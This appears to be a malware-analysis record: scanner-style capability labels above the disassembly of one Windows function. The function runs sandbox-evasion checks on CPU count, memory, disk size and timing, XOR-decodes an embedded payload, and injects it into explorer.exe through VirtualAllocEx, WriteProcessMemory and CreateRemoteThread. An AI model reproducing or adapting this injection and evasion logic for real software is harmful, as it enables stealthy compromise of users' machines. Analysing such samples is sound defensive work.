Function at 0x14000169c
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x370
lea rbp, [rsp + 0x80]
call fcn.140001ba0
movabs rax, 0x6b6c776468696663
movabs rdx, 0x7668707564707271
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
movabs rax, 0x657874696a76746c
movabs rdx, 0x65676c72616b6571
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rdx
mov byte [rbp + 0x2a0], 0
lea rax, [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x270]
mov dword [rbp + 0x2e8], eax
mov eax, dword [rbp + 0x2e8]
mov edx, eax
lea rax, str.Processors:__d_n
mov rcx, rax
call fcn.140001530
cmp dword [rbp + 0x2e8], 1
ja 0x14000174c
call fcn.1400015be
mov eax, 0
jmp 0x140001add
mov dword [rbp + 0x210], 0x40
lea rax, [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x218]
shr rax, 0x14
mov dword [rbp + 0x2e4], eax
mov eax, dword [rbp + 0x2e4]
mov edx, eax
lea rax, str.Memory:__d_n
mov rcx, rax
call fcn.140001530
cmp dword [rbp + 0x2e4], 0x7ff
ja 0x1400017ac
call fcn.1400015be
mov eax, 0
jmp 0x140001add
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1ec]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x1f0]
mov edx, dword [rbp + 0x1fc]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x200]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x204]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x2d4], eax
mov eax, dword [rbp + 0x2d4]
mov edx, eax
lea rax, str.Disk_space:__d_n
mov rcx, rax
call fcn.140001530
cmp dword [rbp + 0x2d4], 0x45
ja 0x1400018af
call fcn.1400015be
mov eax, 0
jmp 0x140001add
call fcn.1400015a6
mov dword [rbp + 0x2d0], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.1400015a6
mov dword [rbp + 0x2cc], eax
mov eax, dword [rbp + 0x2cc]
sub eax, dword [rbp + 0x2d0]
mov edx, eax
lea rax, str.Diff:__d_n
mov rcx, rax
call fcn.140001530
mov eax, dword [rbp + 0x2cc]
sub eax, dword [rbp + 0x2d0]
cmp eax, 2
je 0x140001910
call fcn.1400015be
mov eax, 0
jmp 0x140001add
mov eax, dword [rbp + 0x2cc]
sub eax, dword [rbp + 0x2d0]
cmp eax, 2
jne 0x140001ad8
lea rax, [rbp - 0x40]
lea rdx, [0x14000a070]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x657278767a617066
movabs rdx, 0x6a78746b7a796574
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
mov byte [rbp + 0x1e0], 0
mov dword [rbp + 0x2ec], 0
jmp 0x1400019cd
mov eax, dword [rbp + 0x2ec]
cdqe
movzx edx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2ec]
cdqe
and eax, 0xf
movzx eax, byte [rbp + rax + 0x1d0]
xor edx, eax
mov eax, dword [rbp + 0x2ec]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x2ec], 1
mov eax, dword [rbp + 0x2ec]
cmp eax, 0x1fe
jbe 0x140001998
lea rax, str.explorer.exe
mov rcx, rax
call fcn.1400015c5
mov dword [rbp + 0x2c8], eax
mov eax, dword [rbp + 0x2c8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x1cc], 0
lea rdx, [rbp + 0x1cc]
mov rax, qword [rbp + 0x2c0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2b0], 0
lea r8, [rbp - 0x40]
mov rdx, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x2c0]
lea rcx, [rbp + 0x1c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x1ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rdx, [rbp + 0x1cc]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x2a8], rax
mov eax, 0
add rsp, 0x370
pop rsi
pop rdi
pop rbp
ret